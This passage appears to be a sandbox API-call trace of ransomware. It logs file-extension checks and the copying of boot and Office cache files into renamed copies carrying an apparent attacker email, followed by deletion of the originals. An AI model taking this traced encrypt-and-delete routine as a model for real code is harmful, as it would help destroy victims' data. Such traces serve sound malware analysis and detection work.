lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.166] lstrlenW (lpString=".7z") returned 3 [0033.166] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.166] lstrlenW (lpString=".dbf") returned 4 [0033.166] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.167] lstrlenW (lpString=".1cd") returned 4 [0033.167] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.167] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.167] lstrlenW (lpString=".jpg") returned 4 [0033.167] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0033.167] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.167] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.167] lstrlenW (lpString=".doc") returned 4 [0033.167] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.167] lstrlenW (lpString=".docx") returned 5 [0033.167] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.167] lstrlenW (lpString=".pdf") returned 4 [0033.167] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0033.167] lstrlenW (lpString=".xls") returned 4 [0033.167] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0033.167] lstrlenW (lpString=".xlsx") returned 5 [0033.167] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0033.167] lstrlenW (lpString=".ppt") returned 4 [0033.167] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0033.167] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.167] lstrlenW (lpString=".zip") returned 4 [0033.167] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0033.167] lstrlenW (lpString=".rar") returned 4 [0033.167] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0033.167] lstrlenW (lpString=".bz2") returned 4 [0033.167] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.167] lstrlenW (lpString=".7z") returned 3 [0033.167] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.167] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.167] lstrlenW (lpString=".dbf") returned 4 [0033.167] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.167] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.168] lstrlenW (lpString=".1cd") returned 4 [0033.168] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.168] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.168] lstrlenW (lpString=".jpg") returned 4 [0033.168] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0033.168] lstrcmpiW (lpString1=".LOG", lpString2=".html") returned 1 [0033.168] lstrlenW (lpString="BCD.LOG") returned 7 [0033.168] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.168] lstrlenW (lpString=".doc") returned 4 [0033.168] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0033.168] lstrlenW (lpString=".docx") returned 5 [0033.168] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0033.168] lstrlenW (lpString=".pdf") returned 4 [0033.168] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0033.168] lstrlenW (lpString=".xls") returned 4 [0033.168] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0033.168] lstrlenW (lpString=".xlsx") returned 5 [0033.168] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0033.168] lstrlenW (lpString=".ppt") returned 4 [0033.168] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0033.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.168] lstrlenW (lpString=".zip") returned 4 [0033.168] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0033.168] lstrlenW (lpString=".rar") returned 4 [0033.168] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0033.169] lstrlenW (lpString=".bz2") returned 4 [0033.169] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0033.169] lstrlenW (lpString=".7z") returned 3 [0033.169] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0033.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.169] lstrlenW (lpString=".dbf") returned 4 [0033.169] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0033.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.169] lstrlenW (lpString=".1cd") returned 4 [0033.169] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0033.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.169] lstrlenW (lpString=".jpg") returned 4 [0033.169] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0033.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.169] lstrlenW (lpString=".doc") returned 4 [0033.169] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0033.169] lstrlenW (lpString=".docx") returned 5 [0033.169] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0033.169] lstrlenW (lpString=".pdf") returned 4 [0033.169] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0033.169] lstrlenW (lpString=".xls") returned 4 [0033.169] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0033.169] lstrlenW (lpString=".xlsx") returned 5 [0033.169] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0033.169] lstrlenW (lpString=".ppt") returned 4 [0033.169] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0033.169] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.169] lstrlenW (lpString=".zip") returned 4 [0033.169] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0033.169] lstrlenW (lpString=".rar") returned 4 [0033.169] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0033.169] lstrlenW (lpString=".bz2") returned 4 [0033.169] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0033.170] lstrlenW (lpString=".7z") returned 3 [0033.170] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0033.170] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.170] lstrlenW (lpString=".dbf") returned 4 [0033.170] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0033.170] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.170] lstrlenW (lpString=".1cd") returned 4 [0033.170] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0033.170] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.170] lstrlenW (lpString=".jpg") returned 4 [0033.170] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0033.170] lstrcmpiW (lpString1=".DAT", lpString2=".html") returned -1 [0033.170] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0033.170] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.275] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=65536) returned 1 [0033.275] CloseHandle (hObject=0x160) returned 1 [0033.275] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0033.275] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.275] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.275] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.275] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.275] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0033.276] GetLastError () returned 0x0 [0033.276] ReadFile (in: hFile=0x160, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x10000, lpOverlapped=0x0) returned 1 [0033.278] WriteFile (in: hFile=0x168, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0033.280] ReadFile (in: hFile=0x160, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0033.280] WriteFile (in: hFile=0x168, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0033.280] SetEndOfFile (hFile=0x168) returned 1 [0033.280] CloseHandle (hObject=0x168) returned 1 [0033.281] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.282] SetEndOfFile (hFile=0x160) returned 1 [0033.283] CloseHandle (hObject=0x160) returned 1 [0033.283] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x26) returned 1 [0033.283] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0033.283] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.283] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.283] lstrlenW (lpString=".doc") returned 4 [0033.283] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0033.283] lstrlenW (lpString=".docx") returned 5 [0033.283] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0033.283] lstrlenW (lpString=".pdf") returned 4 [0033.283] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0033.283] lstrlenW (lpString=".xls") returned 4 [0033.283] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0033.283] lstrlenW (lpString=".xlsx") returned 5 [0033.283] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0033.283] lstrlenW (lpString=".ppt") returned 4 [0033.284] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.284] lstrlenW (lpString=".zip") returned 4 [0033.284] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString=".rar") returned 4 [0033.284] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString=".bz2") returned 4 [0033.284] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0033.284] lstrlenW (lpString=".7z") returned 3 [0033.284] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0033.284] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.284] lstrlenW (lpString=".dbf") returned 4 [0033.284] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.284] lstrlenW (lpString=".1cd") returned 4 [0033.284] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0033.284] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.284] lstrlenW (lpString=".jpg") returned 4 [0033.284] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.284] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.284] lstrlenW (lpString=".doc") returned 4 [0033.284] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString=".docx") returned 5 [0033.284] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0033.284] lstrlenW (lpString=".pdf") returned 4 [0033.284] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString=".xls") returned 4 [0033.284] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0033.284] lstrlenW (lpString=".xlsx") returned 5 [0033.284] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0033.284] lstrlenW (lpString=".ppt") returned 4 [0033.285] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0033.285] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.285] lstrlenW (lpString=".zip") returned 4 [0033.285] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0033.285] lstrlenW (lpString=".rar") returned 4 [0033.285] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0033.285] lstrlenW (lpString=".bz2") returned 4 [0033.285] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0033.285] lstrlenW (lpString=".7z") returned 3 [0033.285] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0033.285] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.285] lstrlenW (lpString=".dbf") returned 4 [0033.285] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0033.285] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.285] lstrlenW (lpString=".1cd") returned 4 [0033.285] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0033.285] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.285] lstrlenW (lpString=".jpg") returned 4 [0033.285] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0033.285] Sleep (dwMilliseconds=0x64) [0033.928] Sleep (dwMilliseconds=0x64) [0034.238] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.238] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0034.238] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.239] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3186) returned 1 [0034.239] CloseHandle (hObject=0x18c) returned 1 [0034.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0034.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.239] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.239] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.240] GetLastError () returned 0x0 [0034.240] ReadFile (in: hFile=0x18c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xc72, lpOverlapped=0x0) returned 1 [0034.241] WriteFile (in: hFile=0x190, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0034.242] ReadFile (in: hFile=0x18c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.242] WriteFile (in: hFile=0x190, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.242] SetEndOfFile (hFile=0x190) returned 1 [0034.242] CloseHandle (hObject=0x190) returned 1 [0034.243] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.243] SetEndOfFile (hFile=0x18c) returned 1 [0034.244] CloseHandle (hObject=0x18c) returned 1 [0034.244] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.244] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0034.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.244] lstrlenW (lpString=".doc") returned 4 [0034.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.244] lstrlenW (lpString=".docx") returned 5 [0034.244] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.244] lstrlenW (lpString=".pdf") returned 4 [0034.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.244] lstrlenW (lpString=".xls") returned 4 [0034.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.244] lstrlenW (lpString=".xlsx") returned 5 [0034.244] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.245] lstrlenW (lpString=".ppt") returned 4 [0034.245] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.245] lstrlenW (lpString=".zip") returned 4 [0034.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.245] lstrlenW (lpString=".rar") returned 4 [0034.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString=".bz2") returned 4 [0034.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString=".7z") returned 3 [0034.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.245] lstrlenW (lpString=".dbf") returned 4 [0034.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.245] lstrlenW (lpString=".1cd") returned 4 [0034.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.245] lstrlenW (lpString=".jpg") returned 4 [0034.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.245] lstrlenW (lpString=".doc") returned 4 [0034.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString=".docx") returned 5 [0034.245] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.245] lstrlenW (lpString=".pdf") returned 4 [0034.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString=".xls") returned 4 [0034.245] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.245] lstrlenW (lpString=".xlsx") returned 5 [0034.245] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.245] lstrlenW (lpString=".ppt") returned 4 [0034.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.246] lstrlenW (lpString=".zip") returned 4 [0034.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.246] lstrlenW (lpString=".rar") returned 4 [0034.246] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.246] lstrlenW (lpString=".bz2") returned 4 [0034.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.246] lstrlenW (lpString=".7z") returned 3 [0034.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.246] lstrlenW (lpString=".dbf") returned 4 [0034.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.246] lstrlenW (lpString=".1cd") returned 4 [0034.246] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0034.246] lstrlenW (lpString=".jpg") returned 4 [0034.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.246] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.246] lstrlenW (lpString="Setup.xml") returned 9 [0034.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.247] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=4207) returned 1 [0034.247] CloseHandle (hObject=0x190) returned 1 [0034.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.247] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.247] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.247] GetLastError () returned 0x0 [0034.247] ReadFile (in: hFile=0x190, 